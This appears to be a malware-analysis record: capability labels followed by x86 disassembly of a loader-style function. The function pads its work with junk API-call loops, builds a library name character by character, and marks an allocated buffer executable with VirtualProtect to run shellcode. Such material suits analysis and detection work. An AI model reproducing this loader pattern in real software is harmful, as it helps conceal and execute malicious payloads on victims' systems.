Function at 0x4251c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get file size
Manipulate console buffer
Read .ini file
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2108
call fcn.00411160
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d187
jge 0x4251f6
push 0
push 0
push 0
call edi
cmp dword [0x7b33c4], 0x6fb
jne 0x42520a
push 0
push 0
push 0
call ebx
cmp esi, 0x1e9c8514
jle 0x425224
cmp ebp, 0xc0e54c
je 0x425224
cmp dword [esp + 0x4c], 0x9266ee0
jne 0x42522f
inc esi
cmp esi, 0x7e59b
jl 0x4251e6
jmp 0x42524d
cmp dword [0x7b33c4], 0x28
jne 0x42524d
push 0x403f2c
push 0x403f64
push 0x403f70
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
cmp dword [0x7b33c4], 0xcf8
jne 0x425276
push 0
push 0
call fcn.0041168a
add esp, 8
lea eax, [esp + 0x68]
push eax
call fcn.00405620
push 0
call fcn.004079b0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
cmp esi, 0x408
jne 0x425297
mov eax, 0x5d1
add dword [0x7b33c4], eax
cmp dword [0x7b33c4], 0xca3
jne 0x4252cc
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push 0x404020
push ecx
mov dword [esp + 0x28], ecx
call edi
push 0
push 0
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x425284
mov edx, dword [0x7b33c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x434414], eax
mov eax, dword [0x7b33c4]
xor esi, esi
test eax, eax
je 0x4253c5
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
lea ebx, [ebx]
cmp eax, 0xfe
jne 0x425374
push 0
lea eax, [esp + 0x91c]
push eax
call edi
push 0
call ebp
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x124]
push edx
push ecx
mov dword [esp + 0x28], ecx
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x404050
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.00424c80
mov eax, dword [0x7b33c4]
cmp eax, 0x29
jne 0x4253bc
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0
push 0
lea edx, [esp + 0x120]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [0x7b33c4]
inc esi
cmp esi, eax
jb 0x425310
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x9682ab
cmp eax, 3
jne 0x4253e8
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [0x7b33c4]
dec edi
jne 0x4253d0
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [esp + 0x14], 0x25887
mov ebx, 0xabebc05c
lea ebx, [ebx]
mov dword [0x7b33c0], ebx
cmp eax, 0x222
jne 0x42543d
push 0x40405c
call esi
push 0
lea eax, [esp + 0x11c]
push eax
call edi
push 0
push 0
push 0
call ebp
mov eax, dword [0x7b33c4]
dec dword [esp + 0x14]
jne 0x425410
mov edx, dword [0x434414]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x42f680], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00424fa0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
xor esi, esi
jmp 0x425480
cmp dword [0x7b33c4], 0xba
jne 0x4254a5
lea eax, [esp + 0x18]
push eax
call edi
lea ecx, [esp + 0x40]
push ecx
call ebx
push 0x40406c
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x4254c8
mov eax, 0x4cbe
add dword [0x434414], eax
inc esi
cmp esi, 0x1605a
jl 0x425480
mov eax, 0x6d
mov word [0x7b33ce], ax
mov eax, 0x6c
mov word [0x7b33dc], ax
mov edx, 0x69
xor eax, eax
push 0x7b33c8
mov dword [0x7b33d8], 0x6c0064
mov dword [0x7b33d4], 0x2e0032
mov word [0x7b33cc], dx
mov dword [0x7b33c8], 0x73006d
mov word [0x7b33de], ax
mov dword [0x7b33d0], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0x7b33ca], dx
mov word [0x7b33ce], ax
xor eax, eax
cmp dword [0x7b33c4], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0x7b33d2], cx
mov word [0x7b33de], ax
mov word [0x7b33d0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0x7b33d8], 0x6c0064
mov word [0x7b33cc], ax
mov word [0x7b33c8], cx
mov word [0x7b33dc], dx
mov dword [0x7b33d4], 0x2e0032
jne 0x42569f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea edx, [esp + 0x918]
push edx
push 0x4040a0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
lea ecx, [esp + 0xd1c]
push ecx
push 0x4040e0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push 0
call dword [sym.imp.KERNEL32.dll__lclose]
push 0
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x1524]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x11c]
push ecx
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x40411c
call esi
push 0
lea eax, [esp + 0x191c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push 0x404144
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret